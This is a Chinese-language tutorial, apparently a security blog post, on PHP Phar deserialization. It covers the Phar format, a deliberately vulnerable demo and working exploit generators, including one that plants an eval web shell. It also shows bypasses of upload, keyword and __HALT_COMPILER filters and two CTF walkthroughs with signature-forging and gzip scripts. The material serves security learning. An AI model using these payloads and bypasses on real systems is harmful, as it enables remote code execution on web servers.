参考文章:
https://mochazz.github.io/2019/02/02/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bphar/
https://juejin.cn/post/7152298620656549896#heading-1
https://paper.seebug.org/680/
https://cloud.tencent.com/developer/article/2278965
PHP 反序列化
0x01 关于 Phar
Phar 含义
Phar 本质上还是一种压缩包,但它是 PHP 的压缩文档,类似于 jar 包在 Java 里面差不多的样子。它可以把多个文件存放至同一个文件中,无需解压,PHP 就可以进行访问并执行内部语句。
默认开启版本 PHP Version >= 5.3
Phar 文件结构
- 在说文件结构之前,我们可以先通过这个脚本生成一个 .phar 文件
ProducePhar.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <?php class test{ public $name="qwq"; function __destruct() { echo $this->name . " is a web vegetable dog "; } } $a = new test(); $a->name="drunkbaby"; $tttang=new phar('drunkbaby.phar',0); $tttang->startBuffering(); $tttang->setMetadata($a); $tttang->setStub("<?php __HALT_COMPILER();?>"); $tttang->addFromString("test.txt"," "); $tttang->stopBuffering(); ?>
|
Phar 文件结构大致可分为四个部分
1 2 3 4
| 1、Stub 2、manifest 3、contents 4、signature
|
下面细说一些
stub
Stub 是 Phar 的文件标识,也可以理解为它就是 Phar 的文件头,这个 Stub 其实就是一个简单的 PHP 文件,它的格式具有一定的要求,具体如下
1
| xxx<?php xxx; __HALT_COMPILER();?>
|
这行代码的含义,也就是说前面的内容是不限制的,但在该 PHP 语句中,必须有__HALT_COMPILER(),没有这个,PHP 就无法识别出它是 Phar 文件。 这个其实就类似于图片文件头,比如 gif 文件没有 GIF89A 文件头就无法正确的解析图片,010 Editor 里面的 phar 文件头如图
manifest
a manifest describing the contents,用于存放文件的属性、权限等信息。 这里也是反序列化的攻击点,因为这里以序列化的形式存储了用户自定义的 Meta-data
在我们上面生成的 phar 文件中,manifest 的内容如图
contents
用于存放 Phar 文件的内容
Signature
[optional] a signature for verifying Phar integrity (phar file format only),签名(可选参数),位于文件末尾,具体格式如下
从官方文档中不难看出,签证尾部的 01 代表 md5 加密,02 代表 sha1 加密,04 代表 sha256 加密,08 代表 sha512 加密
当我们修改文件的内容时,签名就会变得无效,这个时候需要更换一个新的签名更换签名的脚本
1 2 3 4 5 6 7 8
| from hashlib import sha1 with open('test.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 h = f[-8:] # 获取签名类型和GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) with open('newtest.phar', 'wb') as file: file.write(newf) # 写入新文件
|
0x02 Phar 反序列化漏洞
漏洞成因
Phar 反序列化之所以存在,是因为 Phar 文件中的 manifest 字段存储了序列化的数据,这其实就是用户的 mete-data,PHP 使用 phar_parse_metedata() 函数解析 meta 数据时,会调用 php_var_unserialize() 函数进行反序列化。具体解析代码如下
php-src/ext/phar/phar.c
那么该如何触发反序列化呢,一般是配合 Phar 伪协议,伪协议使用较多的是一些文件操作函数,只有这些函数能进行反序列化操作,单纯的 phar:// 的伪协议并不能触发反序列化,如 fopen()、copy()、file_exists() 等,具体如下图
通过两个小 demo 来证明一下 file_get_contents() 可用:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class test{ public $name=""; public function __destruct() { echo('the name is '); echo ($this->name); echo '<br>'; echo ' Destruct called'; } } $tttang = file_get_contents('phar://drunkbaby.phar/test.txt'); echo $tttang;
|
成功触发,同样可以试一试其他的函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class test{ public $name=""; public function __destruct() { echo('the name is '); echo ($this->name); echo '<br>'; echo ' Destruct called'; } } $drunkbaby = file_exists('phar://drunkbaby.phar/test.txt'); echo $drunkbaby;
|
这里会打印出的数据有之前在 test.txt 中写入的内容 空格,以及该打印出的 $this->name 的内容 —— drunkbaby
所以此处我们可以用一种别样的方式来触发反序列化,回想一下之前 PHP 反序列化的时候,是需要一个 unserialize() 反序列化的入口类的,但是在 Phar 反序列化当中,这一过程更为隐蔽。
接下来我们简单总结一下利用条件
利用条件
1)需要入口,也就是上面能够对 phar 文件进行反序列化的地方。
2)存在可利用的魔术方法,用魔术方法作为跳板,这其实也就是 POP 链的思想。
3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
简单 Demo
VulDemo1.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php if (isset($_GET['filename'])){ $filename = $_GET['filename']; class MyClass { var $output = 'echo "lol"'; function __destruct() { eval($this->output); } file_exists($filename); } } else { highlight_file(__FILE__); }
|
这道 Demo 就是完美满足我们 phar 反序列化攻击的需求,首先存在入口函数 —— file_exists(),其次存在能够利用的魔术方法,魔术方法这里其实写了一个命令执行。并且毫无过滤。
所以我们直接构造恶意的 phar 文件,EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php
class MyClass{ var $output = '@eval($_GET[1]);'; }
$o = new MyClass(); $filename = 'poc.phar'; file_exists($filename) ? unlink($filename) : null; $phar=new Phar($filename); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($o); $phar->addFromString("foo.txt","bar"); $phar->stopBuffering(); ?>
|
复制
正常情况下应该是会给我们提供文件上传的功能点,这里我没有写,但是可以直接利用,payload 为
复制
0x03 Phar 反序列化 Bypass 的攻防二相性
对 Phar 内文件检测白名单
我们利用Phar反序列化的第一步就是需要上传Phar文件到服务器,而如果服务端存在防护,比如这种
1
| $_FILES["file"]["type"]=="image/gif"
|
这里的 bypass 比较简单,核心语句是这个
1
| $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
|
这和上面例题所说的 exp 是一样的
绕过 Phar 等关键字检测
Phar反序列化中,我们一般思路是上传Phar文件后,通过给参数赋值为Phar://xxx来实现反序列化,而一些防护可能会采取禁止参数开头为Phar等关键字的方式来防止Phar反序列化,示例代码如下
1 2 3
| if (preg_match("/^php|^file|^phar|^dict|^zip/i",$filename){ die(); }
|
我们的办法是使用各种协议来进行绕过,具体如下
1 2 3 4 5 6
| 1、php:
2、compress.bzip2:
3、compress.zlib:
|
绕过 __HALT_COMPILER 检测
我们在前文初识Phar时就提到过,PHP 通过 __HALT_COMPILER来识别 Phar 文件,那么出于安全考虑,即为了防止 Phar 反序列化的出现,可能就会对这个进行过滤,示例代码如下
1 2 3
| if (preg_match("/HALT_COMPILER/i",$Phar){ die(); }
|
这里的话绕过思路有两个 1、将 Phar 文件的内容写到压缩包注释中,压缩为 zip 文件,示例代码如下
1 2 3 4 5 6 7 8
| <?php $a = serialize($a); $zip = new ZipArchive(); $res = $zip->open('phar.zip',ZipArchive::CREATE); $zip->addFromString('flag.txt', 'flag is here'); $zip->setArchiveComment($a); $zip->close(); ?>
|
2、将生成的Phar文件进行gzip压缩,压缩命令如下
压缩后同样也可以进行反序列化
0x04 实战例题
[CISCN2019 华北赛区 Day1 Web1]Dropbox
- 首先通过正常的登录注册业务进到正常的逻辑当中去,发现有个文件上传的业务点。
上传 shell.jpeg 可以上传成功,并且存在下载与删除的业务
但是目前无法确定 shell.jpeg 的路径保存在何处,所以我们先看看下载的业务,这里是存在任意文件读取的漏洞的,如图
猜测路径 filename=/../var/www/html/upload.php 这里读取到了文件上传的源码,同样,下载和删除应该也有源码,读一下,且包含了 class.php,都逐一读取一遍。
但是这里 $_SESSION[‘sandbox’] 不知道是什么,所以并不是一道单纯的文件上传的题目。
在读取 class.php 的时候,发现最后 close() 函数调用了 file_get_contents() 函数,这个函数我们之前提过,很有可能是一个 Phar 反序列化的题目。且题目并没有过滤 phar 后缀的文件,修改 MIME 绕过即可
所以这里我们需要先找链子,危险函数是 class.php#close(),发现是 download.php#echo $file->close(); 调用了它,所以下载处应该是对应的漏洞入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class File{ public $filename; public function close() { return file_get_contents($this->filename); } } $a = new File(); $a->filename="/f*"; $tttang=new phar('drunkbaby.phar',0); $tttang->startBuffering(); $tttang->setMetadata($a); $tttang->setStub("<?php __HALT_COMPILER();?>"); $tttang->addFromString("test.txt"," "); $tttang->stopBuffering(); ?>
|
但是我用这个打失败了,并且发现 download 这个包抓不到,所以应该是要换思路了。
发现 delete.php User 类的 __destruct() 魔术方法也同样调用了 close() 方法,和 Java 反射的思想差不多,这里把 $db 修改成 File 类即可攻击,构造 EXP,中间需要用 FileList 这个类来过渡,因为这里需要最后输出结果用,只是用 File 类的话是没办法把 flag 在前端打印出来的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class User { public $db; public function __construct() { $this->db = new Filelist(); } } class FileList{ private $files; public function __construct(){ $this -> files = array(new File()); } } class File { public $filename = '/flag.txt'; } $a = new User(); $phar = new Phar('poc.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'test'); $phar->setStub('<?php __HALT_COMPILER(); ? >'); $phar->setMetadata($a); $phar->stopBuffering(); rename('poc.phar','poc.gif'); ?>
|
然后 delete 的功能点直接利用
[NSSRound#4 SWPU]1zweb
- 不太舒服,因为要自己编辑 PHP 文件,先读取文件
最后整理出来的源码如下
index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| #index.php <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="ljt"; $this->dky="dky"; phpinfo(); } public function __destruct(){ if($this->ljt==="Misc"&&$this->dky==="Re") eval($this->cmd); } public function __wakeup(){ $this->ljt="Re"; $this->dky="Misc"; } } $file=$_POST['file']; if(isset($_POST['file'])){ echo file_get_contents($file); }
|
upload.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| #upload.php <?php if ($_FILES["file"]["error"] > 0){ echo "上传异常"; } else{ $allowedExts = array("gif", "jpeg", "jpg", "png"); $temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){ $content=file_get_contents($_FILES["file"]["tmp_name"]); $pos = strpos($content, "__HALT_COMPILER();"); if(gettype($pos)==="integer"){ echo "ltj一眼就发现了phar"; }else{ if (file_exists("./upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " 文件已经存在"; }else{ $myfile = fopen("./upload/".$_FILES["file"]["name"], "w"); fwrite($myfile, $content); fclose($myfile); echo "上传成功 ./upload/".$_FILES["file"]["name"]; } } }else{ echo "dky不喜欢这个文件 .".$extension; } }
|
大致就是,要检查后缀并检查内容,且会检查 phar 文件的内容,这一步其实很容易 bypass,通过前面讲的,gzip 压缩就好。
接着分析题目,先写 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class LoveNss{ public $ljt; public $dky; public $cmd; public function __construct(){ $this->ljt="Misc"; $this->dky="Re"; $this->cmd="system('cat /flag');"; } } $phar = new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >'); $a = new LoveNss(); $phar->setMetadata($a); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
|
这里很明显要 bypass __wakeup() 魔术方法,但是如果只是修改内容是不行的,还需要修改签名,这就是前面说的内容。
总的来说就是以下四步
1 2 3 4
| 1、更改属性值来绕过 __wakeup 函数 2、更改签名 2、进行 gzip 压缩来绕过关键字检测 4、更改文件后缀
|
sign.py
1 2 3 4 5 6 7 8 9 10 11 12
| import gzip from hashlib import sha1 with open('poc.phar', 'rb') as file: f = file.read() s = f[:-28] # 获取要签名的数据 s = s.replace(b'3:{', b'4:{')#更换属性值,绕过__wakeup h = f[-8:] # 获取签名类型以及GBMB标识 newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB) #print(newf) newf = gzip.compress(newf) #对Phar文件进行gzip压缩 with open('newPoc.png', 'wb') as file:#更改文件后缀 file.write(newf)
|
构造完毕之后,上传并攻击